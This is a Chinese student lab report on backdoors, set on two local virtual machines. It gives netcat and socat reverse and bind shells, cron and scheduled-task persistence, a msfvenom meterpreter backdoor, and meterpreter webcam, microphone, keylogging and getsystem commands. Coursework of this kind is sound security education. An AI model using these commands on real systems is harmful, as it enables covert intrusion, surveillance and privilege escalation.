2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐
目錄
- 1.實驗內容
- 2.基礎問題回答
- 3.常用後門工具實踐
- 3.1netcat
- 3.2Meterpreter
- 3.3socat
- 4.實驗過程
- 任務一:使用netcat獲取主機操作Shell,cron啟動
- 任務二:使用socat獲取主機操作Shell, 任務計劃啟動
- 任務三: 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
- 任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
- 5.實驗遇到的問題
- 6.實驗總結與體會
1.實驗內容
- 使用netcat獲取主機操作Shell,cron啟動
- 使用socat獲取主機操作Shell, 任務計劃啟動
- 使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
- 使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用MSF生成shellcode,註入到實踐1中的pwn1中,獲取反彈連接Shell
2.基礎問題回答
1.例舉你能想到的一個後門進入到你系統中的可能方式?
- 捆綁在下載的軟件中
- 郵箱附件、網站鏈接
- 註入在可執行文件裏
- 註入在office文件的宏裏面
2.例舉你知道的後門如何啟動起來(win及linux)的方式?
- 更改名字偽裝成其他程序,一點擊即啟動
- Linux可以通過cron啟動
- Windows下通過任務計劃、開機自啟動、修改註冊表項來啟動後門程序
3.Meterpreter有哪些給你映像深刻的功能?
- 獲取攝像頭權限進行拍照、錄像
- 獲取麥克風權限進行錄音
- 獲取鍵盤輸入
- 提升用戶權限
4.如何發現自己有系統有沒有被安裝後門?
- 安裝殺毒軟件並進行掃描
- 觀察進程以及端口,看看有沒有異常開放的端口
- 查看開機自啟動向、註冊表項中有無異常
3.常用後門工具實踐
3.1netcat
Windows獲得Linux Shell
Windows:使用
ipconfig
指令查看本機IP:192.168.19.128
使用ncat.exe程序監聽本機的
5230端口:ncat.exe -l -p 5230
Kali:使用nc指令的-e選項反向連接Windows主機的5230端口:
ncat 192.168.19.128 5230 -e /bin/sh
Windows下成功運行Kali的shell,運行ls指令如下:
Linux獲得Windows Shell
Kali:
ifconfig
查看IP:
192.168.19.129
Kali使用nc指令監聽5230端口:
nc -l -p 5230
Windows:使用ncat.exe程序的
-e
選項項反向連接Kali主機的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230
Kali:運行Windows的cmd shell 並輸入命令執行:
使用nc傳輸數據
Windows下監聽
5230
端口:ncat.exe -l 5230
Kali下連接到Windows的`
5230
端口:nc 192.168.19.128 5230
建立之後進行文字傳輸,後面會說道用來傳輸後門:
使用nc傳輸文件
Windows下監聽
5230
端口,把收到的數據保存到file1.out
中:ncat.exe -l 5230 > file1.out
Kali下先創建file1.in文件,再反彈連接到Windows的`
5230
端口:nc 192.168.19.128 5230 < file1.in
傳輸成功
3.2Meterpreter
- 後門就是一個程序。
- 傳統的理解是:有人編寫一個後門程序,大家拿來用。
- 後來有一些牛人呢,就想編寫一個平臺能生成後門程序。這個平臺呢,把後門的基本功能(基本的連接、執行指令),
- 擴展功能(如搜集用戶信息、安裝服務等功能),
- 編碼模式,
- 運行平臺,
- 以及運行參數
- 全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。
- 典型的平臺就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 參數說明
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的叠代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字符。
LHOST 是反彈回連的IP
LPORT 是回連的端口
-f 生成文件的類型
> 輸出到哪個文件
3.3socat
- socat是ncat的增強版,
- 它使用的格式是
socat [options] <address> <address>
,其中兩個address
是必選項,而options
是可選項。 - socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數
address
就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
4.實驗過程
任務一:使用netcat獲取主機操作Shell,cron啟動
先在
Windows
系統下,監聽`5230
端口:
在Kali環境下,使用
man cron
指令查看crontab
命令的幫助文檔:
crontab指令可以用於設置周期性被執行的指令。該命令從標準輸入設備讀取指令,並將其存放於
crontab
文件中,以供之後讀取和執行。用
crontab -e
指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行:
在最後一行添加
37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh
,意思是在每個小時的第37分鐘反向連接Windows主機的5230端口
,設置成37的原因是我當時的時間是17:36(這樣過一會就能看到連接效果了)當時間到了17:37時,此時已經獲得了Kali的shell,可以輸入指令
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
在Windows系統下,打開控制面板下搜索任務計劃就可以開始創建任務
點擊
觸發器
選項卡,選擇新建
,然後將開始任務設置為工作站鎖定時
點擊
常規
選項卡,輸入名稱(學號):
在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫
tcp-listen:5230 exec:cmd.exe,pty,stderr
(兩個參數之間用空格或者;),這個命令的作用是把cmd.exe綁定到端口5230,同時把cmd.exe的stderr重定向到stdout上:
創建完成之後,可以
windows+L
鎖定計算機讓它執行。
此時,在Kali環境下輸入指令
socat - tcp:192.168.19.129:5230
,這裏的第一個參數-代表標準的輸入輸出,第二個流連接到Windows主機的5230端口,此時可以發現已經成功獲得了一個cmd shell
:
任務三: 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
在kali中輸入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=5239 -f exe > 20155230_backdoor.exe
註意這裏的IP地址為控制端IP,即LinuxIP,生成後門程序:
在Windows下執行
ncat.exe -l 5230 > 20165230_backdoor.exe
,這樣被控主機就進入了接收文件模式
在kali中通過
nc 192.168.19.129 5230 < 20165230_backdoor.exe
將生成的後門程序傳送到Windows
主機上.註意這裏的IP為被控主機IP,即WindowsIP
傳送接收文件成功
在Kali上使用
msfconsole
指令進入msf控制臺,
使用監聽模塊,設置payload,設置反彈回連的IP和端口:
use exploit/multi/handler 使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp,使用和生成後門程序時相同的payload
set LHOST 192.168.19.129,這裏用的是LinuxIP,和生成後門程序時指定的IP相同
set LPORT 5230,同樣要使用相同的端口
設置完成後,執行監聽
exploit
:
雙擊打開Windows上的後門程序
此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell:
任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
使用
record_mic
指令截獲一段音頻:
使用
webcam_snap
指令可以使用攝像頭進行拍照:
使用
webcam stream
指令可以使用攝像頭進行錄像:使用
screenshot
指令可以進行截屏:
在kali中使用
keyscan_start
指令開始,在windows中記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵的記錄:
先使用
getuid
指令查看當前用戶,使用getsystem
指令進行提權,如圖所示,提權成功:
5.實驗遇到的問題
做實驗的兩臺虛擬機之間不能互相ping通,提示network is unreachable
解決方法:將兩臺虛擬機都關機,然後將網絡配置為NAT模式,註意!不能掛起進行配置!否則將不成功!!實驗中kali虛擬機和windows虛擬機是在NAT網絡下實現交互的,
有點奇怪的是kali虛擬機在NAT網絡模式下沒法上網,只有把改為橋接模式才行,
而windows虛擬機在橋接模式下又不能上網了,這就很氣人了。
virtualbox的網絡地址轉換NAT模式和NAT網絡模式是兩個不同的模式,
詭異的是在NAT模式下,kali虛擬機和windows虛擬機自動分配的地址都是一樣的,手工配置IP地址還是會有問題,ping肯定是ping不通的。
最後還是用的NAT網絡模式,兩個虛擬機的IP地址會不一樣。
kali虛擬機沒法上網無所謂了,只要能跟windows虛擬機連上就行了,兩個計算機的文件傳輸用netcat實現。在進行
webcam_snap
時提示錯誤解決方法:windows系統裏沒有攝像頭設備,那我們就把攝像頭的USB連接切到win7上面來,因為攝像頭這種USB設備不可能虛擬機和本機一起使用。在虛擬機->可移動設備->最後一個選項裏選擇連接主機即可解決
6.實驗總結與體會
- 這次實驗研究的是後門的原理和應用,操作起來並不是很復雜,主要是三個步驟:
1. 生成後門程序2. 將後門植入到受害者的計算機中3. 運行後門程序 - 做實驗的過程中小問題一直頻發,而且最後攝像頭還是調用不了,不過好多問題都解決了,很有成就感。有很多實驗結果非常有意思,尤其是 meterpreter的應用。我真切的感受到現在的互聯網環境之惡劣,以後也應該更加註意保密意識。
2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐